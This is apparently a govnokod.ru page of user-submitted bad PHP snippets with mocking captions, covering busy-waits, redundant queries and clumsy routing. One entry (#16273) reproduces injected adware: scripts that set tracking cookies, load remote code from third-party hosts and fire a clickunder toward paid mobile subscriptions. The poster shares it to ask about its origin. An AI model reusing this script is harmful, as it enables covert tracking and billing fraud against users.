1. PHP / Говнокод #16303

    +157

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    $pogoda = file_get_contents('http://export.yandex.ru/weather/');
        preg_match('/<weather_type>(.*?)<\/weather_type>/i',$pogoda,$type);
        preg_match('/<dampness>(.*?)<\/dampness>/i',$pogoda,$vlaga);
        preg_match('/<temperature>(.*?)<\/temperature>/i',$pogoda,$temp);
        preg_match('/<image2>(.*?)<\/image2>/i',$pogoda,$img2);
        preg_match('/<pressure>(.*?)<\/pressure>/i',$pogoda,$press);
        $imgp = substr($img2[1], 24);
    
    $vivod = "<img align=\"top\" src=\"//img.yandex.net$imgp\" alt=\"$type[1]\" />$temp[1] °C
        $type[1]<br />
        Влажность: $vlaga[1] %<br />
        Давление: $press[1] мм рт.ст.";
        echo $vivod;

    Парсинг XML от Яндекс-погоды. Только хардкор!

    huitator, 10 Июля 2014

    Комментарии (15)
  2. PHP / Говнокод #16300

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    while ($this->tariffs_model->getCarsCheckedByTariff($user_id, $tariff_info[0]['id']) > $tariff_info[0]['cars_count'])
    {
    	$cars = $this->tariffs_model->getCarsChecked($tariff_info[0]['id'], $user_id);
    	if ($cars)
    	{
    		//удаляем одну объяву
    		$this->tariffs_model->delCarChecked($cars[0]);
    		$this->sms_model->removeSmsByCarId($cars[0]);
    	}
    }
    
    /*-=-=-=-=-=-=-=-=-=-=-=-=- реализация ф-ций -=-=-=-=-=-=-=-=-=-=-=-=-*/
    
    /**
     * Получаем кол-во реально отмеченых объявлений
     * @param int $user_id
     * @param int $tariff_id
     */
    function getCarsCheckedByTariff($user_id, $tariff_id)
    {
    	$query = "SELECT COUNT(*) as count FROM tariffs_cars_checked WHERE car_id IN
    		(SELECT id FROM a2_cars WHERE user = ? AND expire_date >= ?) AND tariff_id = ?";
    	$result = $this->db->query($query, array($user_id, MYSQL_CURDATE, $tariff_id));
    
    	//echo $this->db->last_query();
    
    	if ($result && $result->num_rows() == 1)
    	{
    		return $result->row()->count;
    	}
    	else
    	{
    		return null;
    	}
    }
    
    /**
     * Список ID отмеченных объявлений по тарифу пользователя
     *
     * @param Int $tariff_id
     * @return Array[]
     * @author КОЕ-КТО 21.12.2009 12:35
     * @uses Controller::Profile
     */
    function getCarsChecked($tariff_id, $user_id)
    {
    	$this->db->select('tariffs_cars_checked.car_id')->from('tariffs_cars_checked')
    	->join('a2_cars', 'a2_cars.id = tariffs_cars_checked.car_id', 'inner')
    	->where(array('tariffs_cars_checked.tariff_id' => intval($tariff_id), 'a2_cars.user' => intval($user_id)));
    
    	$result = $this->db->get();
    	if ($result && $result->num_rows() > 0)
    	{
    		$cars = array();
    		foreach ($result->result_array() as $row)
    		{
    			$cars[] = $row['car_id'];
    		}
    		return $cars;
    	}
    	else
    	{
    		return null;
    	}
    }

    Удаляем объявления скопом!

    smail01, 10 Июля 2014

    Комментарии (1)
  3. PHP / Говнокод #16290

    +156

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    <?
    $res = CIBlockSection::GetList(array(), array('IBLOCK_ID'=>'3', 'ACTIVE'=>'Y'));
    $res1 = CIBlockSection::GetList(array(), array('IBLOCK_ID'=>'3', 'ACTIVE'=>'Y'));
    ?>
    <table class="tableObjects">
        <tr>
            <?while($v = $res->GetNext()){
                ?><td><a href="/projects/list.php?SECTION_ID=<?=$v['ID']?>">
                    <?=CFile::ShowImage(CFile::GetPath($v['PICTURE']), 180, 160)?>
                </a></td><?
            }?>
        </tr>
        <tr>
            <?while($v = $res1->GetNext()){
                ?><td><b><a href="/projects/list.php?SECTION_ID=<?=$v['ID']?>"><?=$v['NAME']?></a></b></td><?
            }?>
        </tr>
    </table>

    Как минимум 2 раза обращаться к базе данных, чтобы разбить данные на 2 строки! Гениально!

    dimagyzeev, 09 Июля 2014

    Комментарии (1)
  4. PHP / Говнокод #16282

    +162

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    function wait($time)
    {
        $tmp_time = time();
        $i = $tmp_time;
        $time = $tmp_time + $time;
        while ($i < $time)
        {
            If (time() != $i) { $i++; }
        }
    }

    Автор сего творения явно не подозревал о существовании функции sleep

    phpcoder, 07 Июля 2014

    Комментарии (91)
  5. PHP / Говнокод #16281

    +166

    1. 1
    2. 2
    3. 3
    function array_min_recursive($arr, &$peaks = array(), $current_key = '') {
      return array_max_recursive($arr, $peaks, $current_key, true); // Неожиданно, правда?
    }

    DIX315, 05 Июля 2014

    Комментарии (17)
  6. PHP / Говнокод #16273

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    <!DOCTYPE html>
    <html>
    <head>
        <title>Pixel Farm</title>
    </head>
    <body>
    <script type="text/javascript">
        function sc(name, val, endh) {
            var exdate = new Date;
            endh = exdate.getHours() + endh;
            exdate.setHours(endh);
            document.cookie = name + "=" + escape(val) + (endh === null ? "" : ";expires=" + exdate.toGMTString() + ";path=/;");
        }
    </script>
    
    <script type="text/javascript">
        var am_lo = function () {
            try {
                return "localStorage" in window && window["localStorage"] !== null;
            } catch (e) {
                return false;
            }
        };
        if (document.cookie.indexOf("uid") === -1) {
            if (am_lo()) {
                var am_lo_uid = localStorage.getItem("uid");
                if (am_lo_uid === null) {
                    am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
                    localStorage.setItem("uid", am_lo_uid);
                }
            } else {
                var am_lo_uid = "5fdf30844eb1823f23ff34a742719b01";
            }
            var exdate = new Date;
            exdate.setDate(exdate.getDate() + 30);
            document.cookie = "uid=" + am_lo_uid + ";expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
        }
    </script><script type="text/javascript" src="//px10.net/c.php"></script><img src="http://sync2.adsniper.ru/?src=a1" width="1" height="1" /><img src="http://advm.upstats.ru/" width="1px" height="1px" alt="" /><img src="http://advm.upstats.ru/b/" width="1px" height="1px" alt="" />
    <script type="text/javascript">
        function AdvMakerMyragon(r) {
    
           /* var myr4i=document.createElement("img");
            myr4i.src="//w16.am15.net/x/log.php?action=myr4&content="+JSON.stringify(r);
            document.body.appendChild(myr4i);*/
    
            if (r[0]) {
                if (r[0].reply === "positive") {
                    var exdate = new Date;
                    exdate.setMinutes(exdate.getMinutes() + 180);
                    var k = parseInt(r[0].price_id);
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=.am15.net;";
                    // document.cookie = "myragon_" + k + "=1;expires=" + exdate.toGMTString() + ";path=/;domain=am15.net;";
    
                    var name="myragon_" + k;
                    sc(name, 1, 1);
    
                    if (k == 4){
                        var myr4=document.createElement("script");
                        myr4.type="text/javascript";
                        myr4.src="//am15.net/x/myragon.php";
                        document.body.appendChild(myr4);
                    }
                }
            }
        }
    </script>
    <script src="http://t02.rbnt.org/rsc.php?mode=bu&pkey=ffd3337d72b61dd75b3b95f59f9c85be&scr=1&p=advmaker&callback=AdvMakerMyragon&sitename=3517" type="text/javascript"></script><img src="//ad.dumedia.ru/advmaker/pixel" width="1" height="1" alt="" />
    <img src="http://luxup.ru/cmrk/5/?clickunder_url=http%3A%2F%2Fam15.net%2Fx%2Fadlabs.php" width="1" height="1" /></body>
    </html>

    это собственно та самая хрень которая перенаправляет на всякие "полезные" подписки на 3жы модемах мегафон.
    оно у меня вылезает даже на говнокоде, но в сорцах страниц такого нет, пхп гуру, откуда оно берется и кого бить за эту хрень?

    pl7ofit, 03 Июля 2014

    Комментарии (20)
  7. PHP / Говнокод #16272

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    // строка 139
    $parts = explode('@',self::$callbacks[$pos]);
    $file = strtolower('app/controllers/'.$parts[0].'.php'); 
    
    //try to load and instantiate model     
    if(file_exists($file)){
        require $file;
    }
    
    //grab all parts based on a / separator 
    $parts = explode('/',self::$callbacks[$pos]); 
    
    //collect the last index of the array
    $last = end($parts);
    
    //grab the controller name and method call
    $segments = explode('@',$last); 
    
    //instanitate controller
    $controller = new $segments[0]();
    
    $params = count($matched);
    
    //call method and pass any extra parameters to the method
    switch ($params) {
        case '0':
            $controller->$segments[1]();
            break;
        case '1':
            $controller->$segments[1]($matched[0]);
            break;
        case '2':
            $controller->$segments[1]($matched[0],$matched[1]);
            break;
        case '3':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2]);
            break;
        case '4':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3]);
            break;
        case '5':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4]);
            break;
        case '6':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4],$matched[5]);
            break;
        case '7':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4],$matched[5],$matched[6]);
            break;
        case '8':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4],$matched[5],$matched[6],$matched[7]);
            break;
        case '9':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4],$matched[5],$matched[6],$matched[7],$matched[8]);
            break;
        case '10':
            $controller->$segments[1]($matched[0],$matched[1],$matched[2],$matched[3],$matched[4],$matched[5],$matched[6],$matched[7],$matched[8],$matched[9]);
            break;
    }
    // ...

    Вот так SimpleMVCFramework передает аргументы контролеру *facepalm*

    volter9, 03 Июля 2014

    Комментарии (101)
  8. PHP / Говнокод #16269

    +157

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    class WP_Post {
    	public static function get_instance( $post_id ) {
    		...
            }
    	public function __construct( $post ) {
    		foreach ( get_object_vars( $post ) as $key => $value )
    			$this->$key = $value;
    	}

    Вордпресс 3.9.1. Создать объект можно только из объекта. Ну или передав айдишник записи (что само по себе еще логично), но называется эта хуйня почему-то get_instance(), словно это синглтон.

    Fike, 02 Июля 2014

    Комментарии (70)
  9. PHP / Говнокод #16263

    +158

    1. 1
    for($month = 1 ; $month <= intval(12); $month ++)

    clauclauclau, 01 Июля 2014

    Комментарии (33)
  10. PHP / Говнокод #16262

    +159

    1. 1
    2. 2
    3. 3
    if ($_POST['category']===1){ //Визначаємо яку категорію вибрав користувач ...
        "INSERT INTO `advertisement` (category) VALUES ('Квартира')";
    }

    Пришло время выполнить запрос. Запрос сам не выполнится...

    Взято отсюда: http://govnokod.ru/16259

    bormand, 30 Июня 2014

    Комментарии (8)